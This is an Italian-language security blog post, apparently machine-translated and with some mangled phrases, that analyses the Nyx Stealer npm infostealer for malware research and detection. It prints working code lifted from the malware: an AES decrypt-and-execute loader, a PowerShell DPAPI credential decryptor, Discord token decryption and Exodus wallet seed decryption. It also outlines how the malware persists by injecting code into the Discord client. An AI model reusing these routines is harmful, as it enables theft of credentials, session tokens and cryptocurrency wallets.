TL; DR
Il team di ricerca sulla sicurezza di Xygeni è stata identificata una sofisticata campagna npm infostealer distribuita tramite due pacchetti dannosi: consolelofy e selfbot-lofy.
L'ultima versione (consolelofy@1.3.0) incorpora un payload crittografato AES da 216 KB che decrittografa in fase di esecuzione ed esegue tramite vm.runInNewContext()Poiché la logica dannosa è completamente crittografata, gli scanner statici che si basano sull'ispezione delle stringhe non possono osservarne il comportamento fino al momento dell'esecuzione.
Una volta decifrato, il payload, marchiato internamente Ladro di Nyx, obiettivi:
- Token di autenticazione Discord
- Oltre 50 negozi di credenziali del browser
- Oltre 90 estensioni per portafogli di criptovalute
- Sessioni Roblox, Instagram, Spotify, Steam, Telegram e TikTok
- Persistenza del client desktop Discord
Sono state segnalate e confermate come dannose tutte e 20 le versioni di entrambi i pacchetti.
Panoramica tecnica di questo npm Infostealer
A differenza del malware tradizionale in fase di installazione, questa campagna si basa su un runtime modello di decrittazione.
Ci sono:
- Nessun dannoso
preinstallorpostinstallhooks - Nessuna chiamata di rete ovvia al momento dell'installazione
- Nessuna logica di raccolta delle credenziali in chiaro
Il payload si attiva quando il modulo viene importato. L'intero corpo dannoso è crittografato e si materializza in memoria solo in fase di esecuzione.
Questa progettazione evita specificatamente il rilevamento durante l'installazione del pacchetto.
Come funziona effettivamente questo npm Infostealer
Prima di analizzare cosa ruba Nyx Stealer, dobbiamo capire come si esegue.
La logica dannosa all'interno di questo infostealer npm segue uno schema coerente:
Un piccolo caricatore decifra un payload crittografato di grandi dimensioni e lo esegue dinamicamente all'interno di un contesto VM Node.js.
Questo design è deliberato. L'attaccante non nasconde la funzionalità dietro il solo offuscamento, sta rimuovendo completamente il codice dannoso dalla visibilità statica.
Modello di esecuzione di alto livello
A un livello elevato, il wrapper svolge quattro funzioni:
- Deriva una chiave AES da una passphrase codificata tramite SHA-256
- Decifra un testo cifrato di grandi dimensioni codificato in esadecimale utilizzando AES-256-CBC
- Esegue il JavaScript decrittografato utilizzando
vm.runInNewContext() - Fornisce un sandbox che espone comunque potenti primitive di runtime
Riepilogo della tecnica di base
| Componente | Configurazione / Valore |
|---|---|
| Algoritmo | AES-256-CBC |
| Derivazione chiave | SHA-256 (frase segreta) |
| Vettore di inizializzazione (IV) | 16 byte di 0x00 |
| vm.runInNewContext(decrittografato, sandbox) |
Fondamentalmente, la sandbox attraversa:
requireprocessBuffer- timer
- esportazioni del modulo
Ciò significa che il payload decrittografato conserva la piena capacità di:
- Processi di deposizione delle uova
- Leggere e scrivere file
- Effettua chiamate di rete
- Modificare le applicazioni locali
Questa non è una VM con restrizioni. È una VM utilizzata come trampolino di lancio per l'esecuzione.
Modello di crittografia in fase di esecuzione (meccanismo di esecuzione principale)
Il caricatore è piccolo.
Il corpo maligno non lo è.
Di seguito è riportato il modello di esecuzione presente all'interno del pacchetto:
const crypto = require('crypto');
const vm = require('vm');
function decryptAndExecute(encryptedHex, passphrase) {
const key = crypto.createHash('sha256')
.update(passphrase)
.digest();
const iv = Buffer.alloc(16, 0);
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');
decrypted += decipher.final('utf8');
const sandbox = {
require,
module,
exports,
console,
process,
Buffer,
__dirname,
__filename,
setTimeout,
setInterval,
clearTimeout,
clearInterval
};
vm.runInNewContext(decrypted, sandbox);
}
Perché è importante
Il payload decrittografato:
- Le normative non è un esiste in testo normale all'interno del pacchetto npm
- È invisibile al semplice
grepo scansione di stringhe statiche - Si materializza nella memoria solo in fase di esecuzione
- Esegue con funzionalità di runtime Node complete
Questa combinazione di esecuzione AES + VM è un forte indicatore comportamentale di un npm infostealer tenta di eludere l'ispezione statica.
In altre parole:
Se si analizza l'albero sorgente del pacchetto, non si vede alcun stealer.
Vedi un decifratore.
Cosa succede dopo la decrittazione
Una volta eseguito, Nyx Stealer avvia ondate parallele di raccolta dati.
Onda 1: Estrazione delle credenziali del browser
Il malware:
- Scarica un runtime Python da NuGet CDN
- Installa librerie crittografiche
- Estrae gli archivi delle credenziali basati su Chromium
- Decritta i segreti protetti da DPAPI
Invece di compilare binding nativi, sfrutta PowerShell per chiamare direttamente Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) {
const b64 = dataBuf.toString('base64');
const ps =
"Add-Type -AssemblyName System.Security;" +
"$b=[Convert]::FromBase64String('" + b64 + "');" +
"$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +
"$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +
"[Console]::Out.Write([Convert]::ToBase64String($p))";
const cmd =
`powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;
return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64');
}
Questo approccio:
- Evita artefatti di compilazione
- Utilizza le API crittografiche native di Windows
- Si integra con gli strumenti amministrativi
Si tratta di una decrittazione delle credenziali a livello di sistema operativo, non di uno scraping.
Onda 2: Decrittazione del token Discord
Lo stealer è a conoscenza del protocollo. Comprende il formato del token crittografato di Discord.
function decryptToken(encryptedToken, key) {
const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');
const encryptedData = Buffer.from(tokenParts[1], 'base64');
const iv = encryptedData.slice(3, 15);
const ciphertext = encryptedData.slice(15, -16);
const tag = encryptedData.slice(-16);
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
return decipher.update(ciphertext).toString('utf8');
}
Flusso operativo:
- Estrai la chiave principale da Discord
Local State - Decifrare la chiave principale tramite DPAPI
- Decifrare i blob dei token AES-GCM
- Convalida i token tramite l'API Discord
- Arricchisci con Nitro, badge, informazioni di fatturazione
Non si tratta di un generico dumping delle credenziali. Si tratta di un dirottamento di sessione basato sul protocollo.
Onda 3: Targeting del portafoglio di criptovaluta
L'npm infostealer elenca:
- Oltre 90 estensioni per portafogli browser
- 27 portafogli desktop
- Percorsi del portafoglio freddo
- File dei semi di Exodus
Esempio di tentativo di decrittazione del seed:
function decryptSeco(content, password) {
const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');
const decipher = crypto.createDecipheriv(
'aes-256-gcm',
key,
content.slice(0, 12)
);
decipher.setAuthTag(content.slice(-16));
return Buffer.concat([
decipher.update(content.slice(12, -16)),
decipher.final()
]).toString('utf8');
}
In caso di successo, la compromissione del portafoglio è immediata e irreversibile.
Rappresenta il vettore di monetizzazione di maggior valore della campagna.
Persistenza tramite iniezione desktop Discord
Dopo aver raccolto le credenziali, Nyx Stealer tenta la persistenza modificando il locale Discordia cliente.
Bersaglio:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js
Sequenza Operativa
L'infostealer esegue i seguenti passaggi:
- Termina i processi Discord in esecuzione
- Individua le varianti Discord installate (Stabile, Canary, PTB)
- Sovrascrive
discord_desktop_core/index.js - Inietta la logica webhook controllata dall'aggressore
- Riavvia Discord
Ciò garantisce che le future sessioni di Discord trasmettano automaticamente nuovi token di autenticazione.
È importante sottolineare che questa persistenza non si basa su attività pianificate o modifiche del registro, ma sfrutta la modifica del codice a livello di applicazione, un approccio più furtivo.
Anche se il pacchetto npm dannoso viene successivamente rimosso, il client Discord rimane compromesso.
Confronto tecnico: Legitimate Selfbot vs npm Infostealer
| Componente | Biblioteca legittima | Nyx npm Infostealer |
|---|---|---|
| crittografia | Nona | Payload completamente crittografato con AES |
| VM di runtime | Non richiesto | vm.runInNewContext esecuzione |
| Accesso alle credenziali | Solo API Discord | Browser, portafogli, DPAPI |
| Download esterni | Non | Runtime Python tramite NuGet |
| Persistenza | Non | Iniezione del client Discord |
| monetazione | Automazione dei bot | Rivendita delle credenziali |
Già solo il livello di crittografia distingue questa campagna da un tipico fork open source.
Un selfbot Discord legittimo non ha motivo di crittografare l'intero codice sorgente, generare PowerShell per accedere a DPAPI, scaricare runtime esterni o modificare le componenti interne delle applicazioni desktop. Quando queste funzionalità compaiono all'interno di una dipendenza che dichiara di automatizzare le interazioni con Discord, la discrepanza architetturale diventa impossibile da ignorare.
Dal punto di vista investigativo, questo infostealer npm lascia tracce su più livelli. Tuttavia, gli indicatori più affidabili non sono URL hardcoded o percorsi di file specifici, poiché questi possono variare da una versione all'altra. I segnali più duraturi sono invece quelli strutturali.
A livello di pacchetto, il segnale di pericolo più forte è la combinazione di un grande payload crittografato e di un wrapper di decrittazione in fase di esecuzione che viene eseguito immediatamente tramite vm.runInNewContext()Sebbene la crittografia di per sé non sia intrinsecamente dannosa, l'utilizzo della decrittazione AES seguita dall'esecuzione dinamica della VM all'interno di un pacchetto di utilità Discord è altamente anomalo.
A livello di host, i pattern sospetti includono attività di decrittazione DPAPI inaspettate, generazione di processi da un contesto di dipendenza Node.js e modifica di file di applicazioni locali che non dovrebbero mai essere alterati da librerie di terze parti. Allo stesso modo, a livello di rete, la comunicazione in uscita in stile webhook avviata da una dipendenza di sviluppo rappresenta un'altra anomalia significativa.
In altre parole, la superficie di rilevamento non è un singolo indicatore di compromissione. È la correlazione tra crittografia, esecuzione runtime, accesso alle credenziali e comportamento di persistenza a rivelare la minaccia.
Rilevamento e mitigazione con Xygeni
Questo npm infostealer è stato identificato da Malware Early Warning (MEW) di Xygeni attraverso una correlazione comportamentale stratificata anziché un semplice abbinamento di firme.
Invece di cercare stringhe dannose note, MEW valuta le anomalie strutturali nell'intero albero sorgente. In questo caso, il rilevamento è emerso dalla convergenza di diversi segnali: una routine di decrittazione AES incorporata nel punto di ingresso del modulo, l'esecuzione immediata all'interno di un contesto VM e una chiara discrepanza tra capacità e intenti.
È importante sottolineare che nessuno di questi segnali, da solo, dimostra un intento malevolo. Tuttavia, se analizzati insieme, rivelano un tentativo di occultare il comportamento runtime. Questo approccio a più livelli riduce significativamente i falsi positivi, identificando al contempo minacce alla supply chain ad alto livello di affidabilità.
Inoltre, questo caso illustra perché la sola ispezione in fase di installazione non sia sufficiente. La logica dannosa non risiede negli script del ciclo di vita. Si attiva solo dopo il caricamento del modulo e diventa visibile solo dopo la decifratura in memoria. Pertanto, una difesa efficace richiede un'analisi basata sulla crittografia, il riconoscimento di modelli comportamentali e un monitoraggio continuo delle dipendenze, anche dopo l'installazione.
La rimozione del registro è reattiva. L'analisi runtime è preventiva.
Perché questo npm Infostealer è importante
Nyx Stealer rappresenta un'evoluzione strutturale nel malware basato su npm.
Storicamente, molti pacchetti dannosi si basavano su script visibili in fase di installazione o su endpoint di esfiltrazione delle credenziali evidenti. Al contrario, questa campagna crittografa il suo payload, rimanda l'esecuzione al runtime, sfrutta le API legittime del sistema operativo e stabilisce la persistenza all'interno di applicazioni affidabili.
Di conseguenza, l'attaccante non ha bisogno di sfruttare l'infrastruttura npm stessa. L'attacco riesce perché l'installazione delle dipendenze implica fiducia. Gli sviluppatori presumono che l'importazione di una libreria sia un'operazione sicura, soprattutto quando si presenta come un fork plausibile di uno strumento popolare.
Con la continua crescita degli ecosistemi e la proliferazione dei fork, quel confine di fiducia implicito diventa una superficie di attacco sempre più attraente. Pertanto, la difesa dai moderni infostealer npm richiede il riconoscimento di pattern architetturali piuttosto che la ricerca di stringhe statiche.
In definitiva, questa campagna rafforza una lezione fondamentale in software supply chain security: le minacce più pericolose non sono quelle che sembrano dannose a prima vista, ma quelle che appaiono strutturalmente legittime finché il runtime non ne rivela il vero comportamento.




